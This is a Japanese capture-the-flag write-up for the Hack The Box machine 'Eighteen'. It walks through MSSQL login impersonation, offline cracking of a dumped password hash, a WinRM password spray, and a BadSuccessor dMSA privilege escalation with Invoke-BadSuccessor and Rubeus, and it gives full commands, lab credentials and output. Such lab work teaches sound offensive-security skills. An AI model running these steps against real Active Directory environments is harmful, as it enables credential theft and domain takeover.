[HTB Writeup] Eighteen

8 min read


[HTB Writeup] Eighteen

CAUTION

この記事は合法的なペネトレーションテスト環境(Hack The Box)での攻略内容です。許可のないシステムへの攻撃は違法です。

Enumeration

/etc/hosts

Terminal window
echo "10.129.241.10 eighteen.htb DC01.eighteen.htb" | sudo tee -a /etc/hosts

Nmap

全ポートスキャン:

Terminal window
┌──(kali㉿kali)-[~/htb/eighteen.htb]
└─$ nmap -Pn -p- --min-rate=1000 -T4 -oG nmap/allport.gnmap eighteen.htb
Starting Nmap 7.98 ( https://nmap.org ) at 2026-02-24 14:49 +0900
Nmap scan report for eighteen.htb (10.129.241.10)
Host is up (0.21s latency).
Not shown: 65532 filtered tcp ports (no-response)
PORT STATE SERVICE
80/tcp open http
1433/tcp open ms-sql-s
5985/tcp open wsman
Nmap done: 1 IP address (1 host up) scanned in 198.62 seconds
PortService
80HTTP
1433MSSQL
5985WinRM

詳細スキャン:

Terminal window
┌──(kali㉿kali)-[~/htb/eighteen.htb]
└─$ nmap -Pn -p80,1433,5985 -sV -sC -oG nmap/detailed.gnmap eighteen.htb
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Welcome - eighteen.htb
1433/tcp open ms-sql-s Microsoft SQL Server 2022 16.00.1000.00; RTM
| ms-sql-ntlm-info:
| 10.129.241.10:1433:
| Target_Name: EIGHTEEN
| NetBIOS_Domain_Name: EIGHTEEN
| NetBIOS_Computer_Name: DC01
| DNS_Domain_Name: eighteen.htb
| DNS_Computer_Name: DC01.eighteen.htb
| DNS_Tree_Name: eighteen.htb
|_ Product_Version: 10.0.26100
|_ssl-date: 2026-02-24T12:55:41+00:00; +7h00m01s from scanner time.
| ms-sql-info:
| 10.129.241.10:1433:
| Version:
| name: Microsoft SQL Server 2022 RTM
| number: 16.00.1000.00
| Product: Microsoft SQL Server 2022
| Service pack level: RTM
| Post-SP patches applied: false
|_ TCP port: 1433
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2026-02-24T12:44:30
|_Not valid after: 2056-02-24T12:44:30
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: mean: 7h00m00s, deviation: 0s, median: 6h59m59s

Findings:

  • OS: Windows (Product_Version: 10.0.26100) — DC01 というコンピュータ名からドメインコントローラの可能性
  • ドメイン: eighteen.htb / FQDN: DC01.eighteen.htb
  • IIS 10.0 がポート80で稼働
  • MSSQL 2022 RTM (16.00.1000.00) — パッチ未適用
  • WinRM (5985) が開放 — 認証情報が得られればリモートシェルが取れる
  • clock-skew: +7h — Kerberos 攻撃時にタイムスタンプのずれに注意

Port 80 — HTTP (IIS)

サブドメイン列挙

Terminal window
┌──(kali㉿kali)-[~/htb/eighteen.htb]
└─$ ffuf -u http://eighteen.htb -H "Host: FUZZ.eighteen.htb" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -ac -o subdomain.log

ヒットなし。

ディレクトリ列挙

Terminal window
┌──(kali㉿kali)-[~/htb/eighteen.htb]
└─$ feroxbuster -u http://eighteen.htb -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -x aspx,asp,html,txt,config
___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓 ver: 2.13.1
───────────────────────────┬──────────────────────
🎯 Target Url │ http://eighteen.htb/
🚩 In-Scope Url │ eighteen.htb
🚀 Threads │ 50
📖 Wordlist │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
👌 Status Codes │ All Status Codes!
💥 Timeout (secs) │ 7
🦡 User-Agent │ feroxbuster/2.13.1
💉 Config File │ /etc/feroxbuster/ferox-config.toml
🔎 Extract Links │ true
💲 Extensions │ [aspx, asp, html, txt, config]
🏁 HTTP methods │ [GET]
🔃 Recursion Depth │ 4
───────────────────────────┴──────────────────────
🏁 Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404 GET 5l 31w 207c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
302 GET 5l 22w 199c http://eighteen.htb/admin => http://eighteen.htb/login
200 GET 76l 145w 2421c http://eighteen.htb/register
200 GET 66l 121w 1961c http://eighteen.htb/login
302 GET 5l 22w 189c http://eighteen.htb/logout => http://eighteen.htb/
200 GET 603l 1072w 9601c http://eighteen.htb/static/css/style.css
200 GET 88l 203w 2822c http://eighteen.htb/features
200 GET 74l 156w 2253c http://eighteen.htb/
404 GET 29l 95w 1245c http://eighteen.htb/web.config
404 GET 29l 95w 1245c http://eighteen.htb/Web.config
302 GET 5l 22w 199c http://eighteen.htb/dashboard => http://eighteen.htb/login
404 GET 29l 95w 1245c http://eighteen.htb/WEB.config
200 GET 74l 156w 2253c http://eighteen.htb/%E2%80%8E
200 GET 74l 156w 2253c http://eighteen.htb/%E2%80%8E.aspx
... (Unicode パスの誤検知多数 - すべて 74l 156w 2253c でトップページと同一)
400 GET 6l 26w 324c http://eighteen.htb/error%1F_log
... (error%1F_log の各拡張子も 400)
[####################] - 12m 180048/180048 0s found:89 errors:0
[####################] - 12m 180000/180000 255/s http://eighteen.htb/

主要な結果:

StatusURL備考
200/トップページ
200/loginログインページ
200/registerユーザ登録
200/features機能紹介ページ
302/admin/login認証必要
302/dashboard/login認証必要
302/logout/ログアウト

大量の Unicode パス(%E8%AE%A8%E8%AE%BA 等)が 200 を返しているが、すべて同一サイズ (2253c) でトップページと同じ内容のため誤検知。

Webサイトの調査

/register からユーザ登録が可能だった。

登録・ログイン周りのフォームに対して sqlmap を実行したが、SQLi は検出されなかった。

なお、後述する MSSQL で使用する認証情報 (kevin) での Web ログインも試みたが失敗した。

/register から test / test でユーザを作成しログイン。取得した Cookie を flask-unsign で解析を試みたが、デコード・署名解析ともに成功しなかった。

admin で登録を試みると「既に存在する」旨のエラーが返り、admin ユーザの存在を確認。Hydra で rockyou.txt を使ったパスワードブルートフォースを実行したがヒットしなかった(後に判明したが、Flask の CSRF トークン保護により全リクエストが弾かれていたと思われる)。

test2 / test2 で登録する際に is_admin=true 等のパラメータを追加して Mass Assignment を試みたが、権限昇格には至らなかった。

{{7*7}} 等のペイロードで SSTI も試したが、テンプレートインジェクションの兆候はなかった。

Port 1433 — MSSQL

事前情報

HTB のマシン情報として、以下の認証情報が提供されていた:

Machine Information

  • ユーザ名: kevin
  • パスワード: iNa2we6haRj2gaw!

MSSQL 接続

Terminal window
┌──(kali㉿kali)-[~/htb/eighteen.htb]
└─$ impacket-mssqlclient 'kevin:iNa2we6haRj2gaw!@eighteen.htb'
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(DC01): Line 1: Changed database context to 'master'.
[*] INFO(DC01): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server 2022 RTM (16.0.1000)
[!] Press help for extra shell commands
SQL (kevin guest@master)>

kevinguest ロールで接続された。

MSSQL 列挙

impacket-mssqlclient の主要なコマンド:

SQL (kevin guest@master)> enum_db;
name is_trustworthy_on
----------------- -----------------
master 0
tempdb 0
model 0
msdb 1
financial_planner 0
SQL (kevin guest@master)> enum_links
SRV_NAME SRV_PROVIDERNAME SRV_PRODUCT SRV_DATASOURCE
-------- ---------------- ----------- --------------
DC01 SQLNCLI SQL Server DC01
SQL (kevin guest@master)> enum_impersonate
execute as database permission_name state_desc grantee grantor
---------- -------- --------------- ---------- ------- -------
b'LOGIN' b'' IMPERSONATE GRANT kevin appdev
SQL (kevin guest@master)> enum_logins
name type_desc is_disabled sysadmin
------ --------- ----------- --------
sa SQL_LOGIN 0 1
kevin SQL_LOGIN 0 0
appdev SQL_LOGIN 0 0
SQL (kevin guest@master)> enum_users
UserName RoleName LoginName DefDBName DefSchemaName
------------------ -------- --------- --------- -------------
dbo db_owner sa master dbo
guest public NULL NULL guest
INFORMATION_SCHEMA public NULL NULL NULL
sys public NULL NULL NULL
SQL (kevin guest@master)> enum_owner
Database Owner
----------------- -----
master sa
tempdb sa
model sa
msdb sa
financial_planner sa

Findings:

  • financial_planner — デフォルト以外のカスタム DB が存在
  • IMPERSONATE 権限kevinappdev ログインを偽装可能
  • ログインsa(sysadmin), kevin, appdev の3つ
  • msdbis_trustworthy_on = 1 — 特権昇格に利用できる可能性

kevinfinancial_planner にアクセスを試みたが、権限不足で拒否された。

SQL (kevin guest@master)> USE financial_planner;
ERROR(DC01): Line 1: The server principal "kevin" is not able to access the database "financial_planner" under the current security context.

appdev への偽装

SQL (kevin guest@master)> exec_as_login appdev
SQL (appdev appdev@master)>

kevinappdev への偽装に成功。financial_planner DB にアクセスできた。

SQL (appdev appdev@master)> use financial_planner
ENVCHANGE(DATABASE): Old Value: master, New Value: financial_planner
INFO(DC01): Line 1: Changed database context to 'financial_planner'.
SQL (appdev appdev@financial_planner)> select table_name from information_schema.tables;
table_name
-----------
users
incomes
expenses
allocations
analytics
visits

Web アプリ (financial_planner) のテーブルが確認できた。

SQL (appdev appdev@financial_planner)> select * from users;
id full_name username email password_hash is_admin created_at
---- --------- -------- ------------------ ------------------------------------------------------------------------------------------------------ -------- ----------
1002 admin admin admin@eighteen.htb pbkdf2:sha256:600000$AMtzteQIG7yAbZIa$0673ad90a0b4afb19d662336f0fce3a9edd0b7b19193717be28ce4d66c887133 1 2025-10-29 05:39:03

admin ユーザのパスワードハッシュを取得。形式は pbkdf2:sha256 (600000 rounds)。

hashcat によるクラック

hashcat のモード 10900 (PBKDF2-HMAC-SHA256) を使用する。hashcat が期待する形式は sha256:<iterations>:<base64_salt>:<base64_hash> なので、DB から取得したハッシュを変換する:

フィールド元の値変換後
iterations600000600000
saltAMtzteQIG7yAbZIa (平文)Base64 エンコード
hash0673ad... (hex)hex → raw → Base64 エンコード
Terminal window
┌──(kali㉿kali)-[~/htb/eighteen.htb]
└─$ cat admin_salt.txt | base64
QU10enRlUUlHN3lBYlpJYQ==
┌──(kali㉿kali)-[~/htb/eighteen.htb]
└─$ cat admin_hash.txt | xxd -r -p | base64
BnOtkKC0r7GdZiM28Pzjqe3Qt7GRk3F74ozk1myIcTM=
┌──(kali㉿kali)-[~/htb/eighteen.htb]
└─$ echo "sha256:600000:QU10enRlUUlHN3lBYlpJYQ==:BnOtkKC0r7GdZiM28Pzjqe3Qt7GRk3F74ozk1myIcTM=" > admin_hashcat.txt

hashcat 結果:

Terminal window
┌──(kali㉿kali)-[~/htb/eighteen.htb]
└─$ hashcat -m 10900 admin_hashcat.txt /usr/share/wordlists/rockyou.txt
sha256:600000:QU10enRlUUlHN3lBYlpJYQ==:BnOtkKC0r7GdZiM28Pzjqe3Qt7GRk3F74ozk1myIcTM=:iloveyou1
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 10900 (PBKDF2-HMAC-SHA256)
Time.Started.....: Tue Feb 24 15:41:46 2026 (10 secs)
Time.Estimated...: Tue Feb 24 15:41:56 2026 (0 secs)
Speed.#01........: 133 H/s (15.66ms) @ Accel:315 Loops:1000 Thr:1 Vec:16
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)

クラック成功: admin / iloveyou1

Web admin ログイン

admin / iloveyou1 で Web にログインし、Admin Dashboard にアクセスできた。

Admin Dashboard

System Information から Flask Financial Planner v1.0 / MSSQL (dc01.eighteen.htb) であることが確認できたが、攻撃に繋がる機能は見つからなかった。

xp_cmdshell の試行

SQL (appdev appdev@financial_planner)> enable_xp_cmdshell
ERROR(DC01): Line 105: User does not have permission to perform this action.
ERROR(DC01): Line 1: You do not have permission to run the RECONFIGURE statement.
SQL (appdev appdev@financial_planner)> xp_cmdshell whoami
ERROR(DC01): Line 1: An error occurred during the execution of xp_cmdshell. A call to 'LogonUserW' failed with error code: '1326'.

enable_xp_cmdshellRECONFIGURE 権限不足で失敗。xp_cmdshell の実行も LogonUserW エラー (1326: ログオン失敗) で失敗した。appdev は SQL ログインのため対応する Windows アカウントがないことが原因と思われる。

Linked Server の試行

SQL (appdev appdev@financial_planner)> use_link DC01
ERROR(DC01): Line 1: Linked servers cannot be used under impersonation without a mapping for the impersonated login.

偽装中のログインにはリンクサーバのマッピングがないため使用不可。

その他の試行

MSSQL に admin / iloveyou1 でログインを試みたが、SQL ログインとして存在しないため失敗。

Terminal window
┌──(kali㉿kali)-[~/htb/eighteen.htb]
└─$ impacket-mssqlclient 'admin:iloveyou1@eighteen.htb'
[-] ERROR(DC01): Line 1: Login failed for user 'admin'.

MSSQL への Windows 認証も失敗。

Terminal window
┌──(kali㉿kali)-[~/htb/eighteen.htb]
└─$ impacket-mssqlclient 'eighteen.htb/kevin:iNa2we6haRj2gaw!@eighteen.htb' -windows-auth
[-] ERROR(DC01): Line 1: Login failed. The login is from an untrusted domain and cannot be used with Integrated authentication.

Port 5985 — WinRM

事前情報の認証情報で WinRM への接続を試みたが、認証エラーで失敗。

Terminal window
┌──(kali㉿kali)-[~/htb/eighteen.htb]
└─$ evil-winrm -i eighteen.htb -u kevin -p 'iNa2we6haRj2gaw!'
*Evil-WinRM* PS C:\> whoami
Error: An error of type WinRM::WinRMAuthorizationError happened, message is WinRM::WinRMAuthorizationError
Error: Exiting with code 1

kevin は WinRM のアクセス権を持っていない。

RID ブルートフォース

MSSQL 経由で NetExec の --rid-brute を使いドメインユーザを列挙。

Terminal window
┌──(kali㉿kali)-[~/htb/eighteen.htb]
└─$ nxc mssql eighteen.htb -u kevin -p 'iNa2we6haRj2gaw!' --rid-brute --local-auth
MSSQL 10.129.241.10 1433 DC01 [+] DC01\kevin:iNa2we6haRj2gaw!
MSSQL 10.129.241.10 1433 DC01 500: EIGHTEEN\Administrator
MSSQL 10.129.241.10 1433 DC01 501: EIGHTEEN\Guest
MSSQL 10.129.241.10 1433 DC01 502: EIGHTEEN\krbtgt
MSSQL 10.129.241.10 1433 DC01 1000: EIGHTEEN\DC01$
MSSQL 10.129.241.10 1433 DC01 1601: EIGHTEEN\mssqlsvc
MSSQL 10.129.241.10 1433 DC01 1602: EIGHTEEN\SQLServer2005SQLBrowserUser$DC01
MSSQL 10.129.241.10 1433 DC01 1603: EIGHTEEN\HR
MSSQL 10.129.241.10 1433 DC01 1604: EIGHTEEN\IT
MSSQL 10.129.241.10 1433 DC01 1605: EIGHTEEN\Finance
MSSQL 10.129.241.10 1433 DC01 1606: EIGHTEEN\jamie.dunn
MSSQL 10.129.241.10 1433 DC01 1607: EIGHTEEN\jane.smith
MSSQL 10.129.241.10 1433 DC01 1608: EIGHTEEN\alice.jones
MSSQL 10.129.241.10 1433 DC01 1609: EIGHTEEN\adam.scott
MSSQL 10.129.241.10 1433 DC01 1610: EIGHTEEN\bob.brown
MSSQL 10.129.241.10 1433 DC01 1611: EIGHTEEN\carol.white
MSSQL 10.129.241.10 1433 DC01 1612: EIGHTEEN\dave.green

Findings:

  • サービスアカウント: mssqlsvc — MSSQL のサービスアカウント
  • グループ: HR, IT, Finance
  • ドメインユーザ: jamie.dunn, jane.smith, alice.jones, adam.scott, bob.brown, carol.white, dave.green

パスワードスプレー

Web admin のパスワード iloveyou1 がドメインユーザでも使いまわされていないか確認する。

RID ブルートフォースの結果からドメインユーザだけを抽出し、ユーザリストを作成:

Terminal window
┌──(kali㉿kali)-[~/htb/eighteen.htb]
└─$ cat > rid_brute_users.log
MSSQL 10.129.241.10 1433 DC01 1606: EIGHTEEN\jamie.dunn
MSSQL 10.129.241.10 1433 DC01 1607: EIGHTEEN\jane.smith
MSSQL 10.129.241.10 1433 DC01 1608: EIGHTEEN\alice.jones
MSSQL 10.129.241.10 1433 DC01 1609: EIGHTEEN\adam.scott
MSSQL 10.129.241.10 1433 DC01 1610: EIGHTEEN\bob.brown
MSSQL 10.129.241.10 1433 DC01 1611: EIGHTEEN\carol.white
MSSQL 10.129.241.10 1433 DC01 1612: EIGHTEEN\dave.green
[Ctrl+D]
┌──(kali㉿kali)-[~/htb/eighteen.htb]
└─$ cut -d'\' -f2 rid_brute_users.log > users.txt
┌──(kali㉿kali)-[~/htb/eighteen.htb]
└─$ cat users.txt
jamie.dunn
jane.smith
alice.jones
adam.scott
bob.brown
carol.white
dave.green

WinRM に対してスプレー:

Terminal window
┌──(kali㉿kali)-[~/htb/eighteen.htb]
└─$ nxc winrm eighteen.htb -u users.txt -p 'iloveyou1'
WINRM 10.129.241.10 5985 DC01 [-] eighteen.htb\jamie.dunn:iloveyou1
WINRM 10.129.241.10 5985 DC01 [-] eighteen.htb\jane.smith:iloveyou1
WINRM 10.129.241.10 5985 DC01 [-] eighteen.htb\alice.jones:iloveyou1
WINRM 10.129.241.10 5985 DC01 [+] eighteen.htb\adam.scott:iloveyou1 (Pwn3d!)

adam.scott / iloveyou1 で WinRM 認証成功。Pwn3d! = シェル取得可能。

Foothold — User Flag

Terminal window
┌──(kali㉿kali)-[~/htb/eighteen.htb]
└─$ evil-winrm -u adam.scott -p 'iloveyou1' -i eighteen.htb
*Evil-WinRM* PS C:\Users\adam.scott\Documents> type ../Desktop/user.txt
8998583661b36ee655ac0213d9249ae7

User flag: 8998583661b36ee655ac0213d9249ae7

Privilege Escalation

基本情報

Terminal window
*Evil-WinRM* PS C:\Users\adam.scott\Documents> whoami /all
USER INFORMATION
----------------
User Name SID
=================== =============================================
eighteen\adam.scott S-1-5-21-1152179935-589108180-1989892463-1609
GROUP INFORMATION
-----------------
Group Name Type SID Attributes
========================================== ================ ============================================= ==================================================
Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group
BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
BUILTIN\Pre-Windows 2000 Compatible Access Alias S-1-5-32-554 Mandatory group, Enabled by default, Enabled group
BUILTIN\Remote Management Users Alias S-1-5-32-580 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NETWORK Well-known group S-1-5-2 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group
EIGHTEEN\IT Group S-1-5-21-1152179935-589108180-1989892463-1604 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NTLM Authentication Well-known group S-1-5-64-10 Mandatory group, Enabled by default, Enabled group
Mandatory Label\Medium Mandatory Level Label S-1-16-8192
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ============================== =======
SeMachineAccountPrivilege Add workstations to domain Enabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled

Findings:

  • EIGHTEEN\IT グループに所属
  • Remote Management Users に所属(WinRM アクセスの理由)
  • 特権は標準的で、直接悪用できるものはない
Terminal window
*Evil-WinRM* PS C:\Users\adam.scott\Documents> net user adam.scott /domain
User name adam.scott
Full Name
Comment
User's comment
Country/region code 000 (System Default)
Account active Yes
Account expires Never
Password last set 10/29/2025 4:42:11 AM
Password expires Never
Password changeable 10/29/2025 4:42:11 AM
Password required Yes
User may change password Yes
Workstations allowed All
Logon script
User profile
Home directory
Last logon 10/27/2025 11:55:28 AM
Logon hours allowed All
Local Group Memberships
Global Group memberships *IT *Domain Users

グループメンバーシップは ITDomain Users のみ。

Terminal window
*Evil-WinRM* PS C:\Users\adam.scott\Documents> net groups /domain
*Cloneable Domain Controllers
*DnsUpdateProxy
*Domain Admins
*Domain Computers
*Domain Controllers
*Domain Guests
*Domain Users
*Enterprise Admins
*Enterprise Key Admins
*Enterprise Read-only Domain Controllers
*External Trust Accounts
*Finance
*Forest Trust Accounts
*Group Policy Creator Owners
*HR
*IT
*Key Admins
*Protected Users
*Read-only Domain Controllers
*Schema Admins

RID ブルートフォースで確認済みのグループと一致。

IT グループの調査

Terminal window
*Evil-WinRM* PS C:\Users\adam.scott\Documents> net group "IT" /domain
Group name IT
Comment
Members
-------------------------------------------------------------------------------
adam.scott bob.brown
The command completed successfully.

IT グループのメンバーは adam.scottbob.brown の2名。

BloodHound

SharpHound でドメイン全体のデータを収集する。

Terminal window
*Evil-WinRM* PS C:\Users\adam.scott\Documents> upload /home/kali/htb/eighteen.htb/SharpHound.exe
Info: Uploading /home/kali/htb/eighteen.htb/SharpHound.exe to C:\Users\adam.scott\Documents\SharpHound.exe
Data: 1758548 bytes of 1758548 bytes copied
Info: Upload successful!
*Evil-WinRM* PS C:\Users\adam.scott\Documents> ./SharpHound.exe -c All
2026-02-24T06:45:52.2693465-08:00|INFORMATION|This version of SharpHound is compatible with the 5.0.0 Release of BloodHound
2026-02-24T06:45:52.2915333-08:00|INFORMATION|SharpHound Version: 2.9.0.0
...
2026-02-24T06:49:58.1064115-08:00|INFORMATION|Status: 318 objects finished (+318 39.75)/s -- Using 65 MB RAM
2026-02-24T06:49:58.1064115-08:00|INFORMATION|Enumeration finished in 00:00:08.7756003
2026-02-24T06:49:58.2611369-08:00|INFORMATION|SharpHound Enumeration Completed at 6:49 AM on 2/24/2026! Happy Graphing!
*Evil-WinRM* PS C:\Users\adam.scott\Documents> download 20260224064952_BloodHound.zip
Info: Download successful!

収集した zip をローカルにダウンロードし、BloodHound にインポートして分析する。

ADAM.SCOTT@EIGHTEEN.HTBADMINISTRATORS@EIGHTEEN.HTB の攻撃パスを検索:

BloodHound - Attack Path

攻撃パス:

  1. ADAM.SCOTTMemberOfIT@EIGHTEEN.HTB
  2. IT@EIGHTEEN.HTBCanPSRemoteDC01.EIGHTEEN.HTB
  3. DC01.EIGHTEEN.HTBHasSessionADMINISTRATOR@EIGHTEEN.HTB
  4. DC01.EIGHTEEN.HTBDCSync / DCForEIGHTEEN.HTB
  5. ADMINISTRATOR@EIGHTEEN.HTBMemberOfADMINISTRATORS@EIGHTEEN.HTB

BloodHound が示す最短パスは DC01 上の Administrator セッションを経由するルートだが、直接セッションをハイジャックするには既に DC01 上で高権限が必要で、このパスは実質使えない。

BadSuccessor

Nmap の結果で Product_Version: 10.0.26100 = Windows Server 2025 であることがわかっていたため、「Windows Server 2025 privilege escalation」で調査したところ、以下の記事が見つかった:

BadSuccessor は、Server 2025 で導入された dMSA (delegated Managed Service Account) を悪用する権限昇格攻撃。dMSA には既存のサービスアカウントから移行する機能があり、移行先の dMSA には移行元の権限がそのまま引き継がれる。OU に対して CreateChild 権限を持つユーザであれば、任意のアカウント(Administrator を含む)を移行元として指定した dMSA を作成でき、Domain Admin に昇格できる。

前提条件の確認:

dMSA が現環境に存在するか、また Domain Admins のメンバーを確認:

Terminal window
*Evil-WinRM* PS C:\Users\adam.scott\Documents> Get-ADServiceAccount -Filter * -Properties *
*Evil-WinRM* PS C:\Users\adam.scott\Documents> net group "Domain Admins" /domain
Group name Domain Admins
Comment Designated administrators of the domain
Members
-------------------------------------------------------------------------------
Administrator
The command completed successfully.
  • dMSA は現時点では存在しない(攻撃者が新規作成する必要がある)
  • Domain Admins のメンバーは Administrator のみ(= 移行元として指定するターゲット)
  • whoami /all で確認した通り、adam.scottSeMachineAccountPrivilege を持っている

OU と ACL の調査:

Terminal window
*Evil-WinRM* PS C:\Users\adam.scott\Documents> Import-Module ActiveDirectory
*Evil-WinRM* PS C:\Users\adam.scott\Documents> Get-ADOrganizationalUnit -Filter * | Select-Object Name, DistinguishedName
Name DistinguishedName
---- -----------------
Domain Controllers OU=Domain Controllers,DC=eighteen,DC=htb
Staff OU=Staff,DC=eighteen,DC=htb

Staff OU に対する IT グループの ACL を確認:

Terminal window
*Evil-WinRM* PS C:\Users\adam.scott\Documents> (Get-ACL "AD:OU=Staff,DC=eighteen,DC=htb").Access | Where-Object {$_.IdentityReference -like "*IT*"}
ActiveDirectoryRights : CreateChild
InheritanceType : None
ObjectType : 00000000-0000-0000-0000-000000000000
InheritedObjectType : 00000000-0000-0000-0000-000000000000
ObjectFlags : None
AccessControlType : Allow
IdentityReference : EIGHTEEN\IT
IsInherited : False
InheritanceFlags : None
PropagationFlags : None

EIGHTEEN\IT グループは OU=Staff に対して CreateChild 権限を持っている。 これにより、この OU 内に dMSA を作成でき、BadSuccessor 攻撃による権限昇格が可能。

BadSuccessor の実行

Invoke-BadSuccessor.ps1 を使用する。

Terminal window
*Evil-WinRM* PS C:\Users\adam.scott\Documents> upload Invoke-BadSuccessor.ps1
Info: Uploading /home/kali/htb/eighteen.htb/Invoke-BadSuccessor.ps1 to C:\Users\adam.scott\Documents\Invoke-BadSuccessor.ps1
Data: 33484 bytes of 33484 bytes copied
Info: Upload successful!
*Evil-WinRM* PS C:\Users\adam.scott\Documents> Import-Module .\Invoke-BadSuccessor.ps1
*Evil-WinRM* PS C:\Users\adam.scott\Documents> Invoke-BadSuccessor
[+] Created computer 'Pwn' in 'OU=Staff,DC=eighteen,DC=htb'.
[+] Machine Account's sAMAccountName : Pwn$
[+] Machine Account's SID : S-1-5-21-1152179935-589108180-1989892463-12601
[+] Created delegated service account 'attacker_dMSA' in 'OU=Staff,DC=eighteen,DC=htb'.
[+] Service Account's sAMAccountName : attacker_dMSA$
[+] Service Account's SID : S-1-5-21-1152179935-589108180-1989892463-12602
[+] Allowed to retrieve password : Pwn$
[+] Added ACE on 'CN=attacker_dMSA,OU=Staff,DC=eighteen,DC=htb' for 'adam.scott' with rights 'All' (Allow, ThisObjectOnly).
[+] Granted 'GenericAll' on 'attacker_dMSA to 'adam.scott'.
[+] Configured delegated MSA state for 'attacker_dMSA with predecessor:
CN=Administrator,CN=Users,DC=eighteen,DC=htb
[+] Next steps (Rubeus):
Rubeus.exe hash /password:'Password123!' /user:Pwn$ /domain:eighteen.htb
Rubeus.exe asktgt /user:Pwn$ /aes256:<AES256KEY> /domain:eighteen.htb
Rubeus.exe asktgs /targetuser:attacker_dMSA$ /service:krbtgt/eighteen.htb /dmsa /opsec /ptt /nowrap /outfile:ticket.kirbi /ticket:<BASE64TGT>
[+] Alternative (Impacket):
getST.py 'eighteen.htb/Pwn$:Password123!' -k -no-pass -dmsa -self -impersonate 'attacker_dMSA

ツールが以下を自動で作成した:

  1. マシンアカウント Pwn$ (パスワード: Password123!)
  2. dMSA attacker_dMSA$ — 移行元 (predecessor) として Administrator を指定
  3. adam.scott に dMSA への GenericAll 権限を付与

次のステップとして Rubeus で Kerberos チケットを取得する。Impacket (getST.py) は Kerberos (ポート 88) へのアクセスが必要だが、nmap の全ポートスキャンでは開放が確認できなかったため、ターゲット上で Rubeus を使用する。

Rubeus によるチケット取得(失敗)

Invoke-BadSuccessor が出力した Next steps に従い、Rubeus でチケットを取得する。

Step 1: マシンアカウント Pwn$ のパスワードハッシュを計算:

Terminal window
*Evil-WinRM* PS C:\Users\adam.scott\Documents> upload /usr/share/windows-resources/rubeus/Rubeus.exe
Info: Upload successful!
*Evil-WinRM* PS C:\Users\adam.scott\Documents> .\Rubeus.exe hash /password:'Password123!' /user:Pwn$ /domain:eighteen.htb
[*] Input password : Password123!
[*] Input username : Pwn$
[*] Input domain : eighteen.htb
[*] Salt : EIGHTEEN.HTBhostpwn.eighteen.htb
[*] rc4_hmac : 2B576ACBE6BCFDA7294D6BD18041B8FE
[*] aes128_cts_hmac_sha1 : A4369F3F47382720482549ACA7B36353
[*] aes256_cts_hmac_sha1 : 07CE45274C9D70F6C47ACD9D72838A4D292903CBC8947E2C32B7F9E0ECF17D0B
[*] des_cbc_md5 : D5150802CB46C419

Step 2: Pwn$ の AES256 ハッシュを使って TGT を取得:

Terminal window
*Evil-WinRM* PS C:\Users\adam.scott\Documents> .\Rubeus.exe asktgt /user:Pwn$ /aes256:07CE45274C9D70F6C47ACD9D72838A4D292903CBC8947E2C32B7F9E0ECF17D0B /domain:eighteen.htb
[*] Action: Ask TGT
[*] Using aes256_cts_hmac_sha1 hash: 07CE45274C9D70F6C47ACD9D72838A4D292903CBC8947E2C32B7F9E0ECF17D0B
[*] Building AS-REQ (w/ preauth) for: 'eighteen.htb\Pwn
[+] TGT request successful!
[*] base64(ticket.kirbi):
doIFYjCCBV6gAwIBBaEDAgEWooIEazCCBGdhggRjMIIEX6ADAgEFoQ4bDEVJR0hURUVOLkhUQqIhMB+g
...(省略)...
dGI=
ServiceName : krbtgt/eighteen.htb
ServiceRealm : EIGHTEEN.HTB
UserName : Pwn$
StartTime : 2/24/2026 9:00:38 AM
EndTime : 2/24/2026 7:00:38 PM
Flags : name_canonicalize, pre_authent, initial, renewable, forwardable
KeyType : aes256_cts_hmac_sha1

TGT の取得に成功。

Step 3: TGT を使い、/dmsa フラグを指定して dMSA (attacker_dMSA$) の TGS 取得を試みる。/opsec には /enctype:aes256 の明示的な指定が必要なため追加した:

Terminal window
*Evil-WinRM* PS C:\Users\adam.scott\Documents> .\Rubeus.exe asktgs /targetuser:attacker_dMSA$ /service:krbtgt/eighteen.htb /dmsa /opsec /enctype:aes256 /ptt /nowrap /outfile:ticket.kirbi /ticket:<BASE64TGT>
[*] Action: Ask TGS
[*] Using domain controller: DC01.eighteen.htb
[*] Requesting 'aes256_cts_hmac_sha1' etype for the service ticket
[*] Building TGS-REQ request for: 'krbtgt/eighteen.htb'
[+] TGS request successful!
[+] Ticket successfully imported!
ServiceName : krbtgt/EIGHTEEN.HTB
ServiceRealm : EIGHTEEN.HTB
UserName : Pwn$
StartTime : 2/24/2026 9:07:16 AM
EndTime : 2/24/2026 7:00:38 PM
